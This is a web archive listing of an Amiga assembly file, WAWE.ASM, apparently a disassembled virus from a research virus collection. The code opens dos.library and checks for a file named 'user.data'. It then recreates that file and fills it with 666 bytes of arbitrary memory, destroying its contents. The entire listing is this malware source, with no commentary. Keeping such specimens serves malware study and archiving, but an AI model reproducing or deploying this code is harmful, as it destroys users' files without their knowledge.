home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSCOLLECTIE / W / WAWE.ASM < prev    next >
Encoding:
Assembly Source File  |  1998-05-17  |  1.5 KB  |  67 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. VHPOSR        EQU    $DFF006
  6.  
  7.  
  8.  
  9.  
  10.     SECTION S_0,CODE
  11.  
  12. SECSTRT_0:
  13.     MOVEA.L    ABSEXECBASE,A6        ;00: 2C7900000004
  14.     LEA    LAB_0004,A1        ;06: 43F9000000A6
  15.     MOVE.L    #$00000000,D0        ;0C: 203C00000000
  16.     JSR    -552(A6)        ;12: 4EAEFDD8
  17.     TST.L    D0            ;16: 4A80
  18.     BEQ    LAB_0001        ;18: 67000074
  19.     MOVEA.L    D0,A6            ;1C: 2C40
  20.     MOVE.L    #LAB_0003,D1        ;1E: 223C0000009C
  21.     MOVE.L    #$000003ED,D2        ;24: 243C000003ED
  22.     JSR    -30(A6)            ;2A: 4EAEFFE2
  23.     TST.L    D0            ;2E: 4A80
  24.     BEQ    LAB_0000        ;30: 67000050
  25.     MOVE.L    D0,D1            ;34: 2200
  26.     JSR    -36(A6)            ;36: 4EAEFFDC
  27.     MOVE.L    #LAB_0003,D1        ;3A: 223C0000009C
  28.     MOVE.L    #$000003EE,D2        ;40: 243C000003EE
  29.     JSR    -30(A6)            ;46: 4EAEFFE2
  30.     MOVE.L    D0,LAB_0002        ;4A: 23C000000098
  31.     MOVE.L    D0,D1            ;50: 2200
  32.     MOVE.L    #$00000000,D2        ;52: 243C00000000
  33.     MOVE    VHPOSR,D2        ;58: 343900DFF006
  34.     MOVE.L    #$0000029A,D3        ;5E: 263C0000029A
  35.     JSR    -48(A6)            ;64: 4EAEFFD0
  36.     MOVE.L    #$00000003,D5        ;68: 2A3C00000003
  37.     MOVE.L    #$00000003,D1        ;6E: 223C00000003
  38.     SUBQ    #3,D1            ;74: 5741
  39.     SUBQ    #3,D5            ;76: 5745
  40.     MOVE.L    LAB_0002,D1        ;78: 223900000098
  41.     JSR    -36(A6)            ;7E: 4EAEFFDC
  42. LAB_0000:
  43.     MOVEA.L    A6,A1            ;82: 224E
  44.     MOVEA.L    ABSEXECBASE,A6        ;84: 2C7900000004
  45.     JSR    -414(A6)        ;8A: 4EAEFE62
  46. LAB_0001:
  47.     MOVE.L    #$00000000,D0        ;8E: 203C00000000
  48.     RTS                ;94: 4E75
  49.     RTS                ;96: 4E75
  50. LAB_0002:
  51.     ORI.B    #$00,D0            ;98: 00000000
  52. LAB_0003:
  53.     DC.W    $7573            ;9C
  54.     DC.W    $6572            ;9E
  55.     MOVEA.L    -(A4),A7        ;A0: 2E64
  56.     DC.W    $6174            ;A2
  57.     DC.W    $6100            ;A4
  58. LAB_0004:
  59.     DC.W    $646F            ;A6
  60.     DC.W    $732E            ;A8
  61.     DC.W    $6C69            ;AA
  62.     DC.W    $6272            ;AC
  63.     DC.W    $6172            ;AE
  64.     DC.W    $7900            ;B0
  65.     DC.W    $0000            ;B2
  66.     END
  67.